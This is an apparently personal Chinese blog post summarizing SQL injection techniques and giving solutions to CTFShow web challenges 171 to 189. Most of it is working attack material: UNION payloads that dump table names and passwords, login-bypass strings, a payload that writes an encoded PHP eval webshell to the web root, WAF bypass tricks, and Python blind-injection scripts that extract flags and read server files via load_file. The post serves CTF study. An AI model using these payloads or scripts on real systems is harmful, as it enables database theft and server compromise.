SQL注入总结

yansui Lv3

SQL注入常用姿势总结

在刷CTFShow的时候总结一下常用的SQL注入姿势~

首先需要注意的是在注入的过程中经常需要使用单行注释语句来闭合后面不想用的SQL语句,但是对于不同的数据库管理系统,适用的注释语句不同,常用的有以下这些:

MySQL / MariaDB:
使用双减号 (–) 或井号 (#) 进行注释。
Oracle:
使用双减号 (–)或者 –+ 或双斜线 (//) 进行注释。
SQL Server:
使用双减号 (–) 进行注释。
PostgreSQL:
使用双减号 (–) 进行注释。
SQLite:
使用双减号 (–) 进行注释。

在尝试注入的过程中可以多多尝试几种。

一、数字型&字符型注入(无过滤)

代表语句:

1
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

常用的注入语句:

1、获得数据库名

-1' union select 1,2,database();--+

2、获取数据库中的表名:

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'ctfshow_web';--+

3、获取某个表中的列名:

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'ctfshow_user';--+

4、获取表中的所有数据:

-1' union select 1,2,group_concat(id,':',username,':',password) from ctfshow_user;--+

以上是最基础的一些SQL注入语句,可以用于在无过滤情况下获取某些可以字符型注入的数据库的全部内容。

有关解释:
1、为什么union之前是-1?
因为可以让原先的语句因为查询不到结果而没有回显,这样就可以只显示注入之后的结果。

2、union为啥要1,2,group_conat…?
因为union选择的列数(这里为三列)需要与select主句选择出的列数相同,1,2是凑数的,换成114514,1919810也行。

3、group_concat
用于连接所有查询的结果,注意函数中每列之间以逗号分割

4、information_schema
数据库系统中自带的一个表,记录了该数据库管理系统管理的所有数据信息。

二、万能密码

如果是登录类的题目,可以尝试万能密码:

1
2
1' or 1=1;--+
ffifdyop //这一种用于使用md5储存密码的数据库

此处需要注意的是在SQL语句中or运算符的优先级高于and。

三、利用SQL注入写WebShell

同样如果是无过滤的字符型注入,可以利用下面的SQL语句写WebShell:

-1' union select 1,2,"<?php phpinfo()?>" into outfile "/var/www/html/1.php";--+

上面的SQL语句可能还需要修改,因为这里我没有尝试成功┭┮﹏┭┮

下面这个应该能用

1
-1' union select 1,from_base64("%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b") into outfile '/var/www/html/1.php

四、盲注

适用于不能直接通过回显得到flag的题目,需要使用脚本暴力破解flag,盲注的逻辑就是根据bool表达式的判断结果一位一位地猜出想要的结果。

例如:

1
2
3
4
5
6
7
8
9
10
11
for i in range(1, 50):
for j in map:
payload = "ooo' union select 'a',if((select substr(password, {}, 1) from ctfshow_user5 where username = 'flag') = '{}', sleep(2), 1)'".format(i,j)
stime = time.time()
response = requests.get(url + payload)
etime = time.time()

if(etime - stime >= 1):
flag += j
print(flag)
break

这里使用到了SQL中的if子句。有关的解释:

基本语法为
IF(条件表达式,值1,值2)
如果条件表达式为True,返回值1,为False,返回值2.
返回值可以是任何值,比如:数值,文本,日期,空值,NULL,数学表达式,函数等。

有关substr函数的解释:

SUBSTR(string ,pos,len)
string:指定字符串
pos:规定字符串从何处开始,(这里的第一个位置是1而不是0)为正数时则从字段开始出开始,为负数则从结尾出开始。
len:要截取字符串的长度。(是从1开始计数而不是0)

上面的脚本就是一个时间盲注的例子:如果password的第i个字符是j,就保留这个字符,开始爆破下一位字符,直到达到长度50为止。

五、bypass waf

下面是一些对常见过滤的绕过方法:

1.过滤关键词:
首先尝试能不能通过大写/小写绕过,如过滤select,可以尝试SELECT
其次如果是把关键词替换为空,可以尝试双写绕过,如selselectect

还可以尝试使用正则匹配,从而使用不完整的关键字达到效果,如:id=0'||(password)regexp'flag
有关regexp的解释:

在SQL语句中,REGEXP是一个操作符,用于在正则表达式中进行模式匹配。
它可以用于WHERE子句或HAVING子句中的条件判断。

过滤where可以尝试使用having,但是在没有group by的情况下一定需要有聚合函数,例如count。

实在不行就用true+…+嗯把payload凑出来,见Web185-186

2.过滤空格:
可以使用URL编码的特殊字符或者注释字符绕过,例如:

1
2
3
4
5
6
%09  #\t 水平制表
%0a # 回车
%0d # 换行
%0c # 换页符
/**/
() //用括号包裹关键词起到分割的作用

六、对输出做过滤

过滤flag关键字

union的列中不要出现有flag的字段。

过滤数字

用字母代替数字回显结果,见Web174

过滤所有可见字符

考虑盲注,但是这种题我觉得出的不好,违反了信息安全体系的可用性原则。

七、题解

CTFShow Web171-253

Web171

无过滤字符型注入,flag在数据库中,union注入获取即可。

万能密码也能用。

Web172

基本上跟171一样,union的时候不要带上flag就行。

Web173

和172一模一样

Web174

过滤了数字,给数字replace掉。
payload:

1
2
3
4
5
6
7
8
9
10
11
replace(replace(replace(password, '1', 'numa'), '2', 'numb'), '3', 'numc')
replace(replace(replace(replace(password, '1', 'numa'), '2', 'numb'), '3', 'numc'), '4', 'numd')
replace(replace(replace(replace(replace(password, '1', 'numa'), '2', 'numb'), '3', 'numc'), '4', 'numd'), '5', 'nume')
replace(replace(replace(replace(replace(replace(password, '1', 'numa'), '2', 'numb'), '3', 'numc'), '4', 'numd'), '5', 'nume'),'6', 'numf')
replace(replace(replace(replace(replace(replace(replace(password, '1', 'numa'), '2', 'numb'), '3', 'numc'), '4', 'numd'), '5', 'nume'),'6', 'numf'),'7', 'numg')
replace(replace(replace(replace(replace(replace(replace(replace(password, '1', 'numa'), '2', 'numb'), '3', 'numc'), '4', 'numd'), '5', 'nume'),'6', 'numf'),'7', 'numg'), '8','numh')
replace(replace(replace(replace(replace(replace(replace(replace(replace(password, '1', 'numa'), '2', 'numb'), '3', 'numc'), '4', 'numd'), '5', 'nume'),'6', 'numf'),'7', 'numg'), '8','numh'), '9', 'numi')
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password, '1', 'numa'), '2', 'numb'), '3', 'numc'), '4', 'numd'), '5', 'nume'),'6', 'numf'),'7', 'numg'), '8','numh'), '9', 'numi'), '0', 'numj')


'qweqwe' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password, '1', 'numa'), '2', 'numb'), '3', 'numc'), '4', 'numd'), '5', 'nume'),'6', 'numf'),'7', 'numg'), '8','numh'), '9', 'numi'), '0', 'numj') from ctfshow_user4 where username = 'flag

Web175

过滤了所有可见字符,直接上时间盲注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 时间盲注脚本 by yansui
# 第一次写Web脚本
import requests
import time

map = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
url = "http://a63f1d4e-a70e-46a0-8897-ef5348193d21.challenge.ctf.show/api/v5.php?id="
flag = ''

for i in range(1, 50):
for j in map:
payload = "ooo' union select 'a',if((select substr(password, {}, 1) from ctfshow_user5 where username = 'flag') = '{}', sleep(2), 1)'".format(i,j)
stime = time.time()
response = requests.get(url + payload)
etime = time.time()

if(etime - stime >= 1):
flag += j
print(flag)
break

Web176

可以直接用万能密码1' or 1=1;--+
其实是过滤了select,大写绕过即可。

Web177

过滤了空格
-1'%0aor%0ausername='flag

Web178

上一题的payload还可以用

Web179

用%0c代替空格即可。

Web180

同上

Web181

过滤了注释符号,直接闭合右引号:
-1’||username=’flag

Web182

过滤flag,直接用正则:
id=0'||(username)regexp'f

Web183

只会回显数据库中记录的条数,直接盲注跑一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# author:yansui
# $sql = "select count(pass) from ".$_POST['tableName'].";";
import requests
import re

map = "0123456789abcdefghijklmnopqrstuvwxyz-"
url = "http://e65ba471-f8e8-47b0-989c-3dd052691c82.challenge.ctf.show/select-waf.php"
flag = ""

for i in range(1, 38):
for j in map:
data = {
"tableName" : "(ctfshow_user)where(pass)regexp('ctfshow{" + flag + j + "')"
}
# print(data)
result = requests.post(url, data=data)
if("user_count = 1" in result.text):
flag = flag + j
print(flag)
break

print("ctfshow{" + flag + "}")

Web184

where ban了,用having

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# author:yansui
# select count(*) from ctfshow_user group by pass having pass regexp 0x3132;
# use hex to bypass '
import requests

url = "http://06acb236-81cc-45a8-adca-73c66964cf21.challenge.ctf.show/select-waf.php"
map = "0123456789abcdefghijklmnopqrstuvwyz-"
flag = 'ctfshow{'

def asc2hex(str_in):
ret = ''
for i in str_in:
ret += hex(ord(i))

ret = ret.replace('0x', '')
return ret

for i in range(1, 38):
for j in map:
data = {
"tableName" : "ctfshow_user group by pass having pass regexp (" + flag + j + ")"
}
print(data)
result = requests.post(url, data=data)
if("user_count = 1" in result.text):
flag += j
print(flag)
break

print(flag + "}")

Web185

用+嗯把字符凑出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# author:yansui
# payload: select count(*) from ctfshow_user group by pass having pass regexp 0x3132;
import requests

def convert(expression):
content = "concat("
for i in expression:
content += "char(true" + (ord(i) - 1)* "+true" + "),"

return content[:-1] + ")"

url = 'http://3a802ffd-d44d-4460-a02d-3f9e5d581478.challenge.ctf.show/select-waf.php'
map = '0123456789abcdefghijklmnopqrstuvwxyz-'
flag = 'ctfshow{'

for i in range(1, 38):
for j in map:
data={
"tableName" : "ctfshow_user group by pass having pass regexp (" + convert(flag + j) + ")"
}
# print(data)
response = requests.post(url, data=data)
if("user_count = 1" in response.text):
flag += j
print(flag)
break
print(flag + "}")

Web186

跟上面那题一样

Web187

开始登录类的题目:
直接md5万能密码:ffifdyop

抓个包就能看到flag

Web188

考的PHP特性:字符串与整数弱类型比较

1
2
if($row['pass']==intval($password)){
$password = 0, pass是字母即可

用户名填1||1%23查出全部数据即可

Web189

嗯读文件啊

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# author: yansui
# payload: if(ascii(substr(load_file('/var/www/html/api/index.php'), 1, 1))=36, 0, 1)
# if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},1,0)
# print('\u67e5\u8be2\u5931\u8d25')
# print('\u5bc6\u7801\u9519\u8bef')
import requests

url = 'http://51a8f6fe-0edf-4314-94c6-2979080058b1.challenge.ctf.show/api/index.php'
flag = ''

for i in range(260, 1000):
for j in range(32, 128):
data = {
"username" : f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},1,0)",
"password" : 1
}
# print(data)
response = requests.post(url, data=data)
if("\\u67e5\\u8be2\\u5931\\u8d25" in response.text):
flag += chr(j)
print(flag)
break

Web190

实在写不下去了,下次再写

为啥SQL注入又多又难啊┭┮﹏┭┮

  • 标题: SQL注入总结
  • 作者: yansui
  • 创建于: 2023-06-29 16:48:49
  • 更新于: 2023-06-29 17:03:42
  • 链接: http://yansui.xyz/2023/06/29/SQLi总结/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论